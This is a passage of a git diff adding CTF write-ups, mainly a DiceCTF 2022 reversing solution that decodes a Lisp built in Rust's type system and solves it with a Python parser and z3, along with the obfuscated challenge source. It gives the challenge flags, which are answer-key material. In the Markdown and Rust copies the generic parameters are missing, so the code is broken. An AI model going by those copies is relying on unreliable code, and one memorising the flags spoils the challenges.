`dice{i_sh0uldve_upgr4ded_to_th3_color_edit10n}` + +I generally like pyjail escapes, and this one was definitely no exception. +It probably was one of the most fun ones I've done in a while, so thanks for that, kmh :) + +--- +[^docs]: It's really hard to decide what's more the MVP here, the `dis` module, or its documentation that contains an overview of all these juicy instructions. +[^tuples]: And completely missing the fact that python optimizes out the tuple packing and unpacking if we have 2 items on both sides of the `=`. Rather than packing, unpacking and crashing because the number of elements isn't right, `x,y = 0, lambda: None` simply gets compiled to a few `LOAD`s, a `ROT` and two `STORE`s. An even quicker solution than what we end up doing next. diff --git a/dicectf-2022/rev/typed.html b/dicectf-2022/rev/typed.html new file mode 100755 index 0000000..15d0ce9 --- /dev/null +++ b/dicectf-2022/rev/typed.html @@ -0,0 +1,636 @@ + + + + + +typed | Organisers + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

typed

+ +

Authors: Robin_Jadoul

+ +

Tags: rev, rust

+ +

Points: 362 (8 solves)

+ +

Challenge Author: aplet123

+ +

Description: +Haskell Rust is a dynamically typed, interpreted language. Can you get my code to stop erroring?

+ +

Lay of the land

+ +

A reversing challenge where we’re given the source code. +How hard could it be?

+ +

Alright, so it’s clearly not as trivial as having source code makes it sound, +but typelevel metaprogramming is fun and often follows some recognizable patterns. +Let’s first have a look at the general outline:

+ +
    +
  • Some types and traits are defined to represent data/values and operations on those
  • +
  • Some of those operations induce constraints that should be satisfied on the data
  • +
  • The flag is defined with a new type alias per character
  • +
  • We perform some operations on and add some constraints to the flag characters
  • +
  • If it typechecks, the program compiles and outputs the flag when run
  • +
+ +

Eyes on the prize

+ +

So let’s have a look at how the final constraints are defined:

+ +
type DanceDanceGice = <DanceDanceGong as DanceGang>::DidGong;
+fn main() {
+    print_flag();
+    let _: DanceDanceGice = panic!();
+}
+
+ +

All weird naming aside, we just need DanceDanceGice to be a valid type, and hence for DanceDanceGong to +implement the DanceGang trait. +The associated type DidGong of that DanceGang trait will then be a valid type.

+ +

Looking a bit higher in the file, we can see this calling into some more constraints, and eventually getting +into some massive line of code the does a bunch of different things with the flag characters. +I’ll consider the margins of this theoretically infinitely large webpage as too small to reproduce the monstrosity here.1

+ +

Now, it’s time to really go in the deep end. +We’ll go all the way back to the top of the file, and try to identify what’s going on.

+ +

Look mom, I can do mathematics

+ +
#![recursion_limit = "10000"]
+use std::marker::PhantomData;
+struct DidGongGong<DiceDiceGice>(PhantomData<DiceDiceGice>);
+struct DangGong;
+trait DangGangGang<DidGang> {
+    type DidGong;
+}
+impl<DiceDiceGice> DangGangGang<DangGong> for DiceDiceGice {
+    type DidGong = DiceDiceGice;
+}
+impl<DiceDiceGice, DanceDanceGig> DangGangGang<DidGongGong<DanceDanceGig>> for DiceDiceGice
+where
+    DiceDiceGice: DangGangGang<DanceDanceGig>,
+{
+    type DidGong = DidGongGong<<DiceDiceGice as DangGangGang<DanceDanceGig>>::DidGong>;
+}
+
+ +

Alright, very first line, let’s ask the rust compiler for some mercy, because we’re about to hurt it. +This will be fun. +Then some import to make our types happy if we don’t actually make them inhabited, and off we go.

+ +

Now, let’s see:

+ +
    +
  • We have two structs that are related: an empty struct, and a struct that contains some other type, but only kinda. (Since we never actually instantiate our types)
  • +
  • And then we can define some operation on those types, where we juggle around the DangGangGang wrapper.
  • +
+ +

My eyes are already watering, let’s try some renaming. +We’re dealing with operations, and that DidGong name looks familiar from before. +Let’s just call it Result from now on.2 +Then, let’s try to think what this is doing, is it ringing any bells yet? +What else could it be than our ever beloved Peano arithmetic of course. +Some more renaming, and suddenly things are looking a lot maybe somewhat more readable.

+ +
struct Succ<T>(PhantomData<T>);
+struct Zero;
+
+trait Add<V> {
+    type Result;
+}
+
+impl<T> Add<Zero> for T {
+    type Result = T;
+}
+
+impl<T, U> Add<Succ<U>> for T
+where
+    T: Add<U>,
+{
+    type Result = Succ<<T as Add<U>>::Result>;
+}
+
+ +

And you know what, now that we’ve defined this, let’s just get some convenience out of the way and +rename some of the numerals that we see popping up throughout the rest of the file.

+ +
type One = Succ<Zero>;
+type Two = Succ<One>;
+type Three = Succ<Two>;
+type Four = Succ<Three>;
+type Five = Succ<Four>;
+type Six = Succ<Five>;
+type Seven = Succ<Six>;
+type Eight = Succ<Seven>;
+type Nine = Succ<Eight>;
+type Ten = Succ<Nine>;
+
+ +

Beautiful, isn’t it?

+ +

To finish off the arithmetic part, we’ll want some more operations3. +So, without hurting our eyes again with the original code, I present you with the rename operations.

+ +
trait Mult<V> {
+    type Result;
+}
+
+impl<T> Mult<Zero> for T {
+    type Result = Zero;
+}
+
+impl<T, U> Mult<Succ<U>> for T
+where
+    T: Mult<U>,
+    T: Add<<T as Mult<U>>::Result>,
+{
+    type Result = <T as Add<<T as Mult<U>>::Result>>::Result;
+}
+
+
+trait SubAndAssertPositive<V> {
+    type Result;
+}
+
+impl<T> SubAndAssertPositive<Zero> for T {
+    type Result = T;
+}
+
+impl<T, U> SubAndAssertPositive<Succ<U>> for Succ<T>
+where
+    T: SubAndAssertPositive<U>,
+{
+    type Result = <T as SubAndAssertPositive<U>>::Result;
+}
+
+
+trait NotEqual<V> {
+    type Result;
+}
+
+impl NotEqual<Zero> for Zero {
+    type Result = Zero;
+}
+
+impl<T> NotEqual<Zero> for Succ<T> {
+    type Result = One;
+}
+
+impl<T> NotEqual<Succ<T>> for Zero {
+    type Result = One;
+}
+
+impl<T, U> NotEqual<Succ<U>> for Succ<T>
+where
+    T: NotEqual<U>,
+{
+    type Result = <T as NotEqual<U>>::Result;
+}
+
+
+ +

Now there’s one more thing that’s interesting to remark here: +when we try to instantiate the SubAndAssertPositive trait, it’ll only work when T represents a number greater than V. +Hence this is the first type-level constraint that we encounter and that’ll be used to enforce the correct values of our flag. +You’d almost start to think I put actual thought into renaming these things.

+ +

Mama, just made a lisp

+ +

Alright, that’s the first part out of the way, we’re mostly done dealing with the simple arithmetic now. +Now, we first introduce some more data, and then we’ll skip a bit ahead because things become repetitive, and dare I say almost boring.

+ +
struct DiceGice;
+struct DiceGig<DanceGigGig, DiceDiceGice>(PhantomData<DanceGigGig>, PhantomData<DiceDiceGice>);
+
+ +

We see an empty type/data/value thing again, and something that contains two other types/values. +I suppose you could call it a pair? +Nah, for obvious reasons, we’ll give it a more friendly name: Cons. +Our friend DiceGice shall furthermore henceforth be known under the name Nil.

+ +

Skipping ahead, we come to the next interesting part:

+ +
trait DanceGang {
+    type Result;
+}
+// snip
+impl DanceGang for Zero {
+    type Result = Zero;
+}
+impl<T> DanceGang for Succ<T> {
+    type Result = Succ<T>;
+}
+impl DanceGang for Cons<DidGig, DiceGice> {
+    type Result = DiceGice;
+}
+impl<R, T> DanceGang for Cons<DidGig, Cons<R, T>>
+where
+    R: DanceGang,
+{
+    type Result = Cons<<R as DanceGang>::Result, T>;
+}
+
+ +

Oh no! +It looks like we’re evaluating lists of the form (operation value0 value1 ...).

+ +
+

I’m afraid you have a lisp sir, and it’s incurable.

+
+ +

Cutting an already overly long story short, we’ve got a bunch of different “functions” that perform some pattern matching +and have some computations associated with it. +Classical and expected examples of course include things such as:

+ +
    +
  • Sum
  • +
  • Product
  • +
  • Map
  • +
+ +

There are some less expected but not overly hard operations like:

+ +
    +
  • EveryThird
  • +
  • SkipEveryThird
  • +
  • AssertAllEqual
  • +
+ +

However, once you start naming things like this, it’s time to realize you have a problem, and intervene:

+ +
    +
  • WTF1
  • +
  • WTF2
  • +
  • WeirdEquals
  • +
  • WeirdNotEquals
  • +
+ +

So to avoid boring my readers entirely to death, I’ll just give you the opportunity to read my reworked source code +at the point where I decided to give up on trying to understand it.

+ +

Do you even lift, bro?

+ +

It was around this point that I decided I’d rather painstakingly reimplement each of these instructions in what most +people would consider to be a more normal programming language than this lisp, while trying to stay as close to the original +to avoid getting bugs lost in translation.

+ +

First things first, as there’s still a massive wall of text to be processed, we’ll have to deal with that. +I do not want to manually rewrite it, and I’m a bit afraid to mess things up if I start doing it with vim macros and regex replaces.4 +So that leaves us with one real options: we’ll have to parse it. +String wrangling is error-prone and tricky, so let’s search google for some arbitrary python-based implementation of parser combinators.56

+ +

We don’t really care about any kind of whitespace and ignoring token separation makes it easier, so we’ll just strip all of that out. +Introduce a our friends Cons and Nil to the big friendly snake, find some shortcut to evaluate operations, and we can actually parse and consume the entire wall of text. (The implementation of Eval is left open below, since that was refactored to use the rest of what I’ll describe below in a later iteration)

+ +
import parsy as P
+from collections import namedtuple
+
+Nil = object()
+Cons = namedtuple("Cons", "head tail")
+
+def Oper(op, lhs, rhs):
+    if op == "Add":
+        return Eval(lhs) + Eval(rhs) # Not technically Eval, but good enough for constant values
+    elif op == "Mult":
+        return Eval(lhs) * Eval(rhs) # Not technically Eval, but good enough for constant values
+    else:
+        assert False, op
+
+numbers = {
+        "Zero": 0,
+        "One": 1,
+        "Two": 2,
+        "Three": 3,
+        "Four": 4,
+        "Five": 5,
+        "Six": 6,
+        "Seven": 7,
+        "Eight": 8,
+        "Nine": 9,
+        "Ten": 10,
+        "Hundred": 100,
+        }
+lits = {x: eval(x) for x in "Sum Prod EvalBothAndSub ApplyAll WTF1 AssertAllEqual AssertNotEqual Map WeirdEquals WeirdNotEquals EveryThird SkipEveryThird Apply Nil".split()}
+
+def parse(v):
+    pExpr = P.forward_declaration()
+
+    @P.generate
+    def pCons():
+        yield P.string("Cons<")
+        head = yield pExpr
+        yield P.string(",")
+        tail = yield pExpr
+        yield P.string(">")
+        return Cons(head, tail)
+
+    @P.generate
+    def pOper():
+        yield P.string("<")
+        lhs = yield pExpr
+        yield P.string("as")
+        op = yield P.string("Add") | P.string("Mult") | P.string("SubAndAssertPositive") | P.string("NotEqual")
+        yield P.string("<")
+        rhs = yield pExpr
+        yield P.string(">>::Result")
+        return Oper(op, lhs, rhs)
+
+
+    literals = [P.string(x) for x in numbers.keys()] + [
+                P.string(f"Flag{i}") for i in range(26)
+            ][::-1] + [
+                P.string(x) for x in lits.keys()
+            ]
+    pLit = literals[0]
+    for n in literals[1:]: pLit |= n
+
+    pExpr.become(pCons | pOper | pLit)
+        
+    v = v.replace(" ", "").replace("\n", "").replace("\t", "")
+    return pExpr.parse(v)
+
+ +

Now we can start re-implementing each of our lispy operations in new functions, which gets heavily spiced with isNil and isCons calls, +because that was the most braindead and mechanical way I could still think of to perform the typesystem’s pattern matching. +I’ll humour you with the implementations of Eval and WeirdEquals, and leave the rest to the final implementation.

+ +
def Eval(x):
+    if x in numbers:
+        return numbers[x]
+    if x in lits:
+        return lits[x]
+    if isinstance(x, int):
+        return x
+    if isinstance(x, str) and x.startswith("Flag"):
+        return Flag[int(x[4:])]
+    if isinstance(x, z3.ExprRef):
+        return x
+    assert isinstance(x, Cons)
+    return Eval(x.head)(x)
+    
+def WeirdEquals(x):
+    if isCons(x.tail) and isNil(x.tail.tail):
+        sxyt = x.tail.head
+        if isCons(sxyt.tail) and isCons(sxyt.tail.tail):
+            s = sxyt.head
+            x = sxyt.tail.head
+            yt = sxyt.tail.tail
+            if isCons(yt.tail) and isNil(yt.tail.tail):
+                y = yt.head
+                t = yt.tail.head
+                return Cons("AssertAllEqual", Cons(Cons(s, Cons(x, Cons(y, Nil))), Cons(t, Nil)))
+    assert False
+
+ +

From that point onwards, it’s a surprisingly simple matter to add in symbolic variables and constraint enforcement with +the ever-glorious z3 solver. +The gist of it is: when evaluating a flag character, use its corresponding symbolic variable instead; when you encounter something +for which you put Assert in the name earlier, add in a constraint on the global variable7 containing the solver object.

+ +

Let it simmer a bit and serve hot

+ +

We clench our cheeks together, place our salt wards shaped as parentheses, pray to our favourite deities, +type python typed_solver.py and hope for the best. +We let it run for a while, have discord crash on us, almost run out of memory because we’re doing way too much at once, +and fear that z3 the magnificent might not be able to do it.

+ +

Shortly after that, a flag appears. +Sometimes fears are completely unfounded, it would appear.

+ +
+

dice{l1sp_insid3_rus7_9afh1n23}

+
+ +

Closing thoughts

+ +

I would love to write as good a post and be as witty as the inspiration for the challenge description, but I’m afraid you’ll have to make do with what this turned out as. +Nevertheless, as it turns out, type-level programming can be a lot of fun, and exercising the rust compiler +is a nice way to pass the time. +I’d like to thank aplet123 for this lovely challenge, and my teammates for suffering through my complaints +about how horrible a lisp implemented in the rust typesystem is while trying to reverse engineer it. +Maybe I should try to make an internet law out of the statement “A good CTF challenge is pain while solving it, and fun only in retrospect.” :)8

+ +
+
+
    +
  1. +

    And while I must already assume some level of masochism given that you are reading this post, I will consider it a kindness on my part towards the hypothetical reader’s sanity. 

    +
  2. +
  3. +

    I low-key think of these types as being bullied by me and being referred to by another name against their will now. Should I feel bad about this? 

    +
  4. +
  5. +

    We wouldn’t want our little friend that we’re so harshly calling Add instead of DangGangGang, to feel lonely, now would we? 

    +
  6. +
  7. +

    I shall remark here – it’s been a while since I last interjected with a footnote, sorry for that – that I may or may not have tried to do exactly that earlier and may or may not have messed it up. Sometimes mysteries are simply meant to remain mysteries. 

    +
  8. +
  9. +

    In the given situation one might feel the need to stick to something familiar. Unfortunately, after sufficient mind-warping the functional-programming-inspired parsing paradigm is what starts to feel familiar now. 

    +
  10. +
  11. +

    The particular library I ended up with used what the challenge author later referred to as “discount monads”, implemented with generators/coroutines. 

    +
  12. +
  13. +

    It’s CTF code, written after staring into the abyss for too long, don’t hate me! 

    +
  14. +
  15. +

    Tell your friends you heard it here first! 

    +
  16. +
+
+ + + + + + +
+
+
+ + + + + + +
+ + diff --git a/dicectf-2022/rev/typed.md b/dicectf-2022/rev/typed.md new file mode 100755 index 0000000..6974414 --- /dev/null +++ b/dicectf-2022/rev/typed.md @@ -0,0 +1,412 @@ +# typed + +**Authors:** Robin_Jadoul + +**Tags:** rev, rust + +**Points:** 362 (8 solves) + +**Challenge Author:** aplet123 + +**Description:** +~~Haskell~~ Rust is a dynamically typed, interpreted language. Can you get my code to stop erroring? + +## Lay of the land + +A reversing challenge where we're given the [source code](typed.rs). +How hard could it be? + +Alright, so it's clearly not as trivial as having source code makes it sound, +but typelevel metaprogramming is fun and often follows some recognizable patterns. +Let's first have a look at the general outline: + +- Some types and traits are defined to represent data/values and operations on those +- Some of those operations induce constraints that should be satisfied on the data +- The flag is defined with a new type alias per character +- We perform some operations on and add some constraints to the flag characters +- If it typechecks, the program compiles and outputs the flag when run + +## Eyes on the prize + +So let's have a look at how the final constraints are defined: + +```rust +type DanceDanceGice = ::DidGong; +fn main() { + print_flag(); + let _: DanceDanceGice = panic!(); +} +``` + +All weird naming aside, we just need `DanceDanceGice` to be a valid type, and hence for `DanceDanceGong` to +implement the `DanceGang` trait. +The associated type `DidGong` of that `DanceGang` trait will then be a valid type. + +Looking a bit higher in the file, we can see this calling into some more constraints, and eventually getting +into some massive line of code the does a bunch of different things with the flag characters. +I'll consider the margins of this theoretically infinitely large webpage as too small to reproduce the monstrosity here.[^walloftext] + +Now, it's time to really go in the deep end. +We'll go all the way back to the top of the file, and try to identify what's going on. + +## Look mom, I can do mathematics + +```rust +#![recursion_limit = "10000"] +use std::marker::PhantomData; +struct DidGongGong(PhantomData); +struct DangGong; +trait DangGangGang { + type DidGong; +} +impl DangGangGang for DiceDiceGice { + type DidGong = DiceDiceGice; +} +impl DangGangGang> for DiceDiceGice +where + DiceDiceGice: DangGangGang, +{ + type DidGong = DidGongGong<>::DidGong>; +} +``` + +Alright, very first line, let's ask the rust compiler for some mercy, because we're about to hurt it. +~~This will be fun.~~ +Then some import to make our types happy if we don't actually make them inhabited, and off we go. + +Now, let's see: + +- We have two structs that are related: an empty struct, and a struct that contains *some* other type, but only kinda. (Since we never actually instantiate our types) +- And then we can define some operation on those types, where we juggle around the `DangGangGang` wrapper. + +My eyes are already watering, let's try some renaming. +We're dealing with operations, and that `DidGong` name looks familiar from before. +Let's just call it `Result` from now on.[^naming] +Then, let's try to think what this is doing, is it ringing any bells yet? +What else could it be than our ever beloved [Peano arithmetic](https://en.wikipedia.org/wiki/Peano_axioms) of course. +Some more renaming, and suddenly things are looking ~~a lot~~ maybe somewhat more readable. + +```rust +struct Succ(PhantomData); +struct Zero; + +trait Add { + type Result; +} + +impl Add for T { + type Result = T; +} + +impl Add> for T +where + T: Add, +{ + type Result = Succ<>::Result>; +} +``` + +And you know what, now that we've defined this, let's just get some convenience out of the way and +rename some of the numerals that we see popping up throughout the rest of the file. + +```rust +type One = Succ; +type Two = Succ; +type Three = Succ; +type Four = Succ; +type Five = Succ; +type Six = Succ; +type Seven = Succ; +type Eight = Succ; +type Nine = Succ; +type Ten = Succ; +``` + +Beautiful, isn't it? + +To finish off the arithmetic part, we'll want some more operations[^lonely-addition]. +So, without hurting our eyes again with the original code, I present you with the rename operations. + +```rust +trait Mult { + type Result; +} + +impl Mult for T { + type Result = Zero; +} + +impl Mult> for T +where + T: Mult, + T: Add<>::Result>, +{ + type Result = >::Result>>::Result; +} + + +trait SubAndAssertPositive { + type Result; +} + +impl SubAndAssertPositive for T { + type Result = T; +} + +impl SubAndAssertPositive> for Succ +where + T: SubAndAssertPositive, +{ + type Result = >::Result; +} + + +trait NotEqual { + type Result; +} + +impl NotEqual for Zero { + type Result = Zero; +} + +impl NotEqual for Succ { + type Result = One; +} + +impl NotEqual> for Zero { + type Result = One; +} + +impl NotEqual> for Succ +where + T: NotEqual, +{ + type Result = >::Result; +} + +``` + +Now there's one more thing that's interesting to remark here: +when we try to instantiate the `SubAndAssertPositive` trait, it'll only work when `T` represents a number greater than `V`. +Hence this is the first type-level constraint that we encounter and that'll be used to enforce the correct values of our flag. +You'd almost start to think I put actual thought into renaming these things. + +## Mama, just made a lisp + +Alright, that's the first part out of the way, we're mostly done dealing with the simple arithmetic now. +Now, we first introduce some more data, and then we'll skip a bit ahead because things become repetitive, and dare I say almost boring. + +```rust +struct DiceGice; +struct DiceGig(PhantomData, PhantomData); +``` + +We see an empty type/data/value thing again, and something that contains two other types/values. +I suppose you could call it a pair? +Nah, for obvious reasons, we'll give it a more friendly name: `Cons`. +Our friend `DiceGice` shall furthermore henceforth be known under the name `Nil`. + +Skipping ahead, we come to the next interesting part: + +```rust +trait DanceGang { + type Result; +} +// snip +impl DanceGang for Zero { + type Result = Zero; +} +impl DanceGang for Succ { + type Result = Succ; +} +impl DanceGang for Cons { + type Result = DiceGice; +} +impl DanceGang for Cons> +where + R: DanceGang, +{ + type Result = Cons<::Result, T>; +} +``` + +[Oh no!](https://youtu.be/S74rvpc6W60?t=9) +It looks like we're evaluating lists of the form `(operation value0 value1 ...)`. + +> I'm afraid you have a lisp sir, and it's incurable. + +Cutting an already overly long story short, we've got a bunch of different "functions" that perform some pattern matching +and have some computations associated with it. +Classical and expected examples of course include things such as: + +- `Sum` +- `Product` +- `Map` + +There are some less expected but not overly hard operations like: + +- `EveryThird` +- `SkipEveryThird` +- `AssertAllEqual` + +However, once you start naming things like this, it's time to realize you have a problem, and intervene: + +- `WTF1` +- `WTF2` +- `WeirdEquals` +- `WeirdNotEquals` + +So to avoid boring my readers entirely to death, I'll just give you the opportunity to read my [reworked source code](typed_rev.rs) +at the point where I decided to give up on trying to understand it. + +## Do you even lift, bro? + +It was around this point that I decided I'd rather painstakingly reimplement each of these instructions in what most +people would consider to be a more normal programming language than this lisp, while trying to stay as close to the original +to avoid getting bugs lost in translation. + +First things first, as there's still a massive wall of text to be processed, we'll have to deal with that. +I do not want to manually rewrite it, and I'm a bit afraid to mess things up if I start doing it with vim macros and regex replaces.[^vim] +So that leaves us with one real options: we'll have to parse it. +String wrangling is error-prone and tricky, so let's search google for some arbitrary python-based implementation of parser combinators.[^parsing][^monads] + +We don't really care about any kind of whitespace and ignoring token separation makes it easier, so we'll just strip all of that out. +Introduce a our friends `Cons` and `Nil` to the big friendly snake, find some shortcut to evaluate operations, and we can actually parse and consume the entire wall of text. (The implementation of `Eval` is left open below, since that was refactored to use the rest of what I'll describe below in a later iteration) + +```python +import parsy as P +from collections import namedtuple + +Nil = object() +Cons = namedtuple("Cons", "head tail") + +def Oper(op, lhs, rhs): + if op == "Add": + return Eval(lhs) + Eval(rhs) # Not technically Eval, but good enough for constant values + elif op == "Mult": + return Eval(lhs) * Eval(rhs) # Not technically Eval, but good enough for constant values + else: + assert False, op + +numbers = { + "Zero": 0, + "One": 1, + "Two": 2, + "Three": 3, + "Four": 4, + "Five": 5, + "Six": 6, + "Seven": 7, + "Eight": 8, + "Nine": 9, + "Ten": 10, + "Hundred": 100, + } +lits = {x: eval(x) for x in "Sum Prod EvalBothAndSub ApplyAll WTF1 AssertAllEqual AssertNotEqual Map WeirdEquals WeirdNotEquals EveryThird SkipEveryThird Apply Nil".split()} + +def parse(v): + pExpr = P.forward_declaration() + + @P.generate + def pCons(): + yield P.string("Cons<") + head = yield pExpr + yield P.string(",") + tail = yield pExpr + yield P.string(">") + return Cons(head, tail) + + @P.generate + def pOper(): + yield P.string("<") + lhs = yield pExpr + yield P.string("as") + op = yield P.string("Add") | P.string("Mult") | P.string("SubAndAssertPositive") | P.string("NotEqual") + yield P.string("<") + rhs = yield pExpr + yield P.string(">>::Result") + return Oper(op, lhs, rhs) + + + literals = [P.string(x) for x in numbers.keys()] + [ + P.string(f"Flag{i}") for i in range(26) + ][::-1] + [ + P.string(x) for x in lits.keys() + ] + pLit = literals[0] + for n in literals[1:]: pLit |= n + + pExpr.become(pCons | pOper | pLit) + + v = v.replace(" ", "").replace("\n", "").replace("\t", "") + return pExpr.parse(v) +``` + +Now we can start re-implementing each of our lispy operations in new functions, which gets heavily spiced with `isNil` and `isCons` calls, +because that was the most braindead and mechanical way I could still think of to perform the typesystem's pattern matching. +I'll humour you with the implementations of `Eval` and `WeirdEquals`, and leave the rest to the [final implementation](typed_solver.py). + +```python +def Eval(x): + if x in numbers: + return numbers[x] + if x in lits: + return lits[x] + if isinstance(x, int): + return x + if isinstance(x, str) and x.startswith("Flag"): + return Flag[int(x[4:])] + if isinstance(x, z3.ExprRef): + return x + assert isinstance(x, Cons) + return Eval(x.head)(x) + +def WeirdEquals(x): + if isCons(x.tail) and isNil(x.tail.tail): + sxyt = x.tail.head + if isCons(sxyt.tail) and isCons(sxyt.tail.tail): + s = sxyt.head + x = sxyt.tail.head + yt = sxyt.tail.tail + if isCons(yt.tail) and isNil(yt.tail.tail): + y = yt.head + t = yt.tail.head + return Cons("AssertAllEqual", Cons(Cons(s, Cons(x, Cons(y, Nil))), Cons(t, Nil))) + assert False +``` + +From that point onwards, it's a surprisingly simple matter to add in symbolic variables and constraint enforcement with +the ever-glorious [z3 solver](https://github.com/Z3Prover/z3). +The gist of it is: when evaluating a flag character, use its corresponding symbolic variable instead; when you encounter something +for which you put `Assert` in the name earlier, add in a constraint on the global variable[^global] containing the solver object. + +## Let it simmer a bit and serve hot + +We clench our cheeks together, place our salt wards shaped as parentheses, pray to our favourite deities, +type `python typed_solver.py` and hope for the best. +We let it run for a while, have discord crash on us, almost run out of memory because we're doing way too much at once, +and fear that z3 the magnificent might not be able to do it. + +Shortly after that, a flag appears. +Sometimes fears are completely unfounded, it would appear. + +> `dice{l1sp_insid3_rus7_9afh1n23}` + +## Closing thoughts + +I would love to write as good a post and be as witty as the [inspiration for the challenge description](https://aphyr.com/posts/342-typing-the-technical-interview), but I'm afraid you'll have to make do with what this turned out as. +Nevertheless, as it turns out, type-level programming can be a lot of fun, and exercising the rust compiler +is a nice way to pass the time. +I'd like to thank aplet123 for this lovely challenge, and my teammates for suffering through my complaints +about how horrible a lisp implemented in the rust typesystem is while trying to reverse engineer it. +Maybe I should try to make an internet law out of the statement "A good CTF challenge is pain while solving it, and fun only in retrospect." :)[^internet-law] + +--- +[^walloftext]: And while I must already assume some level of masochism given that you are reading this post, I will consider it a kindness on my part towards the hypothetical reader's sanity. +[^naming]: I low-key think of these types as being bullied by me and being referred to by another name against their will now. Should I feel bad about this? +[^lonely-addition]: We wouldn't want our little friend that we're so harshly calling `Add` instead of `DangGangGang`, to feel lonely, now would we? +[^vim]: I shall remark here -- it's been a while since I last interjected with a footnote, sorry for that -- that I may or may not have tried to do exactly that earlier and may or may not have messed it up. Sometimes mysteries are simply meant to remain mysteries. +[^parsing]: In the given situation one might feel the need to stick to something familiar. Unfortunately, after sufficient mind-warping the functional-programming-inspired parsing paradigm is what starts to feel familiar now. +[^monads]: The particular library I ended up with used what the challenge author later referred to as "discount monads", implemented with generators/coroutines. +[^global]: It's CTF code, written after staring into the abyss for too long, don't hate me! +[^internet-law]: Tell your friends you heard it here first! diff --git a/dicectf-2022/rev/typed.rs b/dicectf-2022/rev/typed.rs new file mode 100755 index 0000000..2a22c80 --- /dev/null +++ b/dicectf-2022/rev/typed.rs @@ -0,0 +1,476 @@ +#![recursion_limit = "10000"] +use std::marker::PhantomData; +struct DidGongGong(PhantomData); +struct DangGong; +trait DangGangGang { + type DidGong; +} +impl DangGangGang for DiceDiceGice { + type DidGong = DiceDiceGice; +} +impl DangGangGang> for DiceDiceGice +where + DiceDiceGice: DangGangGang, +{ + type DidGong = DidGongGong<>::DidGong>; +} +trait DidGigGig { + type DidGong; +} +impl DidGigGig for DiceDiceGice { + type DidGong = DangGong; +} +impl DidGigGig> for DiceDiceGice +where + DiceDiceGice: DidGigGig, + DiceDiceGice: DangGangGang<>::DidGong>, +{ + type DidGong = >::DidGong>>::DidGong; +} +trait DangGig { + type DidGong; +} +impl DangGig for DiceDiceGice { + type DidGong = DiceDiceGice; +} +impl DangGig> for DidGongGong +where + DiceDiceGice: DangGig, +{ + type DidGong = >::DidGong; +} +trait DanceDanceGang { + type DidGong; +} +impl DanceDanceGang for DangGong { + type DidGong = DangGong; +} +impl DanceDanceGang for DidGongGong { + type DidGong = DidGongGong; +} +impl DanceDanceGang> for DangGong { + type DidGong = DidGongGong; +} +impl DanceDanceGang> for DidGongGong +where + DiceDiceGice: DanceDanceGang, +{ + type DidGong = >::DidGong; +} +struct DiceGice; +struct DiceGig(PhantomData, PhantomData); +trait DanceGang { + type DidGong; +} +struct DiceGang; +impl DanceGang for DiceGang { + type DidGong = DiceGang; +} +struct DangGice; +impl DanceGang for DangGice { + type DidGong = DangGice; +} +struct DiceGongGong; +impl DanceGang for DiceGongGong { + type DidGong = DiceGongGong; +} +struct DanceGig; +impl DanceGang for DanceGig { + type DidGong = DanceGig; +} +struct DidGig; +impl DanceGang for DidGig { + type DidGong = DidGig; +} +struct DangDangGang; +impl DanceGang for DangDangGang { + type DidGong = DangDangGang; +} +struct DidDidGice; +impl DanceGang for DidDidGice { + type DidGong = DidDidGice; +} +struct DangGang; +impl DanceGang for DangGang { + type DidGong = DangGang; +} +struct DiceDiceGang; +impl DanceGang for DiceDiceGang { + type DidGong = DiceDiceGang; +} +struct DanceGice; +impl DanceGang for DanceGice { + type DidGong = DanceGice; +} +struct DidGangGang; +impl DanceGang for DidGangGang { + type DidGong = DidGangGang; +} +struct DidGice; +impl DanceGang for DidGice { + type DidGong = DidGice; +} +struct DiceGong; +impl DanceGang for DiceGong { + type DidGong = DiceGong; +} +struct DanceGiceGice; +impl DanceGang for DanceGiceGice { + type DidGong = DanceGiceGice; +} +impl DanceGang for DangGong { + type DidGong = DangGong; +} +impl DanceGang for DidGongGong { + type DidGong = DidGongGong; +} +impl DanceGang for DiceGig { + type DidGong = DiceGice; +} +impl DanceGang for DiceGig> +where + DanceGigGig: DanceGang, +{ + type DidGong = DiceGig<::DidGong, DiceDiceGice>; +} +impl DanceGang for DiceGig>> +where + DangDangGice: DanceGang, + DanceGangGang: DanceGang, + ::DidGong: DangGig<::DidGong>, +{ + type DidGong = <::DidGong as DangGig<::DidGong>>::DidGong; +} +impl DanceGang for DiceGig> +where + DiceDiceGice: DanceGang, +{ + type DidGong = ::DidGong; +} +impl DanceGang for DiceGig>> +where + DiceGig>: DanceGang, + DiceDiceGice: DanceGang, +{ + type DidGong = > as DanceGang>::DidGong; +} +impl DanceGang for DiceGig> { + type DidGong = DangGong; +} +impl DanceGang for DiceGig>> +where + DiceDiceGice: DanceGang, + DanceDanceGig: DanceGang, + ::DidGong: DangGig<::DidGong>, + ::DidGong: DangGig<::DidGong>, + DiceGig>: DanceGang, +{ + type DidGong = > as DanceGang>::DidGong; +} +impl DanceGang for DiceGig>> +where + DiceDiceGice: DanceGang, + DanceDanceGig: DanceGang, + ::DidGong: DanceDanceGang<::DidGong>, + <::DidGong as DanceDanceGang<::DidGong>>::DidGong: DangGig>, +{ + type DidGong = DangGong; +} +impl DanceGang for DiceGig> { + type DidGong = DiceGice; +} +impl DanceGang for DiceGig>> +where + DiceGig>: DanceGang, + DiceGig>: DanceGang, +{ + type DidGong = + DiceGig<> as DanceGang>::DidGong, > as DanceGang>::DidGong>; +} +impl DanceGang for DiceGig>>>, DiceGice>> { + type DidGong = DiceGig>>, DiceGig>>; +} +impl DanceGang for DiceGig>>>, DiceGice>> { + type DidGong = DiceGig>>, DiceGig>>; +} +impl DanceGang for DiceGig { + type DidGong = DiceGice; +} +impl DanceGang for DiceGig>>> +where + DiceGig: DanceGang, +{ + type DidGong = DiceGig as DanceGang>::DidGong>; +} +impl DanceGang for DiceGig { + type DidGong = DiceGice; +} +impl DanceGang for DiceGig>>> +where + DiceGig: DanceGang, +{ + type DidGong = DiceGig as DanceGang>::DidGong>>; +} +impl DanceGang for DiceGig>> +where + DiceDiceGice: DanceGang, + DiceGig::DidGong>: DanceGang, +{ + type DidGong = ::DidGong> as DanceGang>::DidGong; +} +impl DanceGang for DiceGig> +where + DiceDiceGice: DanceGang, +{ + type DidGong = ::DidGong; +} +impl DanceGang for DiceGig> +where + DiceGig: DanceGang, +{ + type DidGong = DiceGig as DanceGang>::DidGong>; +} +impl DanceGang for DiceGig { + type DidGong = DangGong; +} +impl DanceGang for DiceGig> +where + DiceDiceGice: DanceGang, +{ + type DidGong = DiceDiceGice; +} +impl DanceGang for DiceGig>> +where + DidDidGig: 